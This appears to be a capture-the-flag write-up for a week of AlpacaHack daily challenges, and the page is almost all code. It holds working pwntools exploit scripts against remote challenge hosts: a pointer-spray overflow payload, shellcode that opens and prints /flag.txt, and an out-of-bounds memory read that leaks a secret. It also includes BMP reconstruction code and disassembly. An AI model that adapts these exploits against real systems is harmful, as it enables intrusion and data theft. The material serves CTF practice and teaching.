Daily AlpacaHack Writeup (2026-04-06 ~ 2026-04-12)

Copy

from pwn import *

context.binary = "./login"
elf = ELF("./login")
is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 5392".split()
    sh = remote(host, port)
else:
    context.terminal = ["tmux", "splitw", "-h"]
    sh = process()
    gdb.attach(sh, gdbscript="""
break *main+137
c
""")
    
prompt = sh.recvuntil("Password:".encode())
print(prompt.decode())

payload = p64(0x404040)*0x100

sh.sendline(payload)

sh.interactive()
        

Copy

import http.client

conn = http.client.HTTPConnection("34.170.146.252", port=46229, timeout=5)
conn.request("GET", "/")
res = conn.getresponse()

data = res.fp.read()

print(data)
        

Copy

import requests

target_url = "http://34.170.146.252:43880/"

headers = {"Content-Type": "application/json"}
payload = "{'invalid'"
resp = requests.post(target_url, headers=headers, data=payload)
print(resp.text)
print(resp.headers)
        

Copy

def reconstruct_bmp(enc_file, width, height, output_file):
    with open(enc_file, "rb") as f:
        enc_data = f.read()
        
    pixel_payload = enc_data[64:]
    
    file_size = 54 + len(pixel_payload)
    
    header = bytearray([
        0x42, 0x4D,              # Magic 'BM'
        *file_size.to_bytes(4, 'little'),
        0, 0, 0, 0,              # Reserved
        54, 0, 0, 0,             # Offset
        40, 0, 0, 0,             # DIB Header Size
        *width.to_bytes(4, 'little'),
        *height.to_bytes(4, 'little'),
        1, 0, 24, 0,             # Planes, BPP
        0, 0, 0, 0,              # Compression
        *len(pixel_payload).to_bytes(4, 'little'),
        0x13, 0x0B, 0, 0,        # Xres (2835)
        0x13, 0x0B, 0, 0,        # Yres (2835)
        0, 0, 0, 0, 0, 0, 0, 0   # Colors
    ])
    
    with open(output_file, "wb") as f:
        f.write(header)
        f.write(pixel_payload)

reconstruct_bmp("flag.enc", 2374, 124, "recovered_flag.bmp")
        

Copy

import os

def solve_width(enc_file_size, height=124):
    possible_widths = []
    
    for s in range(enc_file_size - 16, enc_file_size):
        if (s - 54) % height == 0:
            row_size = (s - 54) // height
            if row_size % 4 == 0:
                for w in range(row_size // 3 - 5, row_size // 3 + 5):
                    if w > 0 and (w * 3 + 3) // 4 * 4 == row_size:
                        possible_widths.append(w)
    
    return sorted(list(set(possible_widths)))

fsize = os.path.getsize("./flag.enc")
print(fsize)
print(solve_width(fsize, 124))
        

Copy

from pwn import *

_, host, port = "nc 34.170.146.252 39313".split()
context.binary = "./chal"

sh = remote(host, port)

prompt = sh.recvuntil("paca?".encode())
print(prompt.decode())

sc = shellcraft.open("/flag.txt", 0)
sc += shellcraft.read("rax", "rsp", 0x100)
sc += shellcraft.write(1, "rsp", 0x100)

shellcode = asm(sc)

sh.sendline(shellcode)

sh.interactive()
        

Copy

    14a7:	75 16                	jne    14bf <prepare+0x13f>
    14a9:	48 83 c4 48          	add    rsp,0x48
    14ad:	5b                   	pop    rbx
    14ae:	5d                   	pop    rbp
    14af:	41 5c                	pop    r12
    14b1:	41 5d                	pop    r13
    14b3:	c3                   	ret
    14b4:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
    14b8:	b8 01 00 00 00       	mov    eax,0x1
    14bd:	eb da                	jmp    1499 <prepare+0x119>
    14bf:	e8 bc fc ff ff       	call   1180 <__stack_chk_fail@plt>
    14c4:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
        

Copy

from pwn import *
import hashlib

context.binary = "./chal"

is_remote = True
if is_remote:
    _, host, port = "nc 34.170.146.252 36195".split()
    sh = remote(host, port)
else:
    sh = process()
    
prompt = sh.recvuntil("hash:".encode())
print(prompt.decode())
secret_hash = sh.recvline().decode().strip()
    
SECRET_LEN = 32
secret_bytes = []
for i in range(SECRET_LEN):
    prompt = sh.recvuntil("choice:".encode())
    print(prompt.decode())

    sh.sendline("?")

    prompt = sh.recvuntil("index:".encode())
    print(prompt.decode())

    sh.sendline(str(0xf0 - 0x10 + i).encode())
    prompt = sh.recvuntil("mem".encode())
    print(prompt.decode())
    mem = sh.recvline().decode().split("=")[-1].strip()
    print(mem)
    
    secret_bytes.append(int(mem, 16))
    
secret = bytes(secret_bytes)
h = hashlib.sha256(secret).hexdigest()

print("secret hash:", secret_hash)
print("decoded:", h)

prompt = sh.recvuntil("choice:".encode())
print(prompt.decode())
sh.sendline("!".encode())

prompt = sh.recvuntil("secret:".encode())
print(prompt.decode())

sh.sendline(secret)

sh.interactive()
        

Copy

0x0f0 - (0x140 - 0x130) -> 0xf0 - 0x10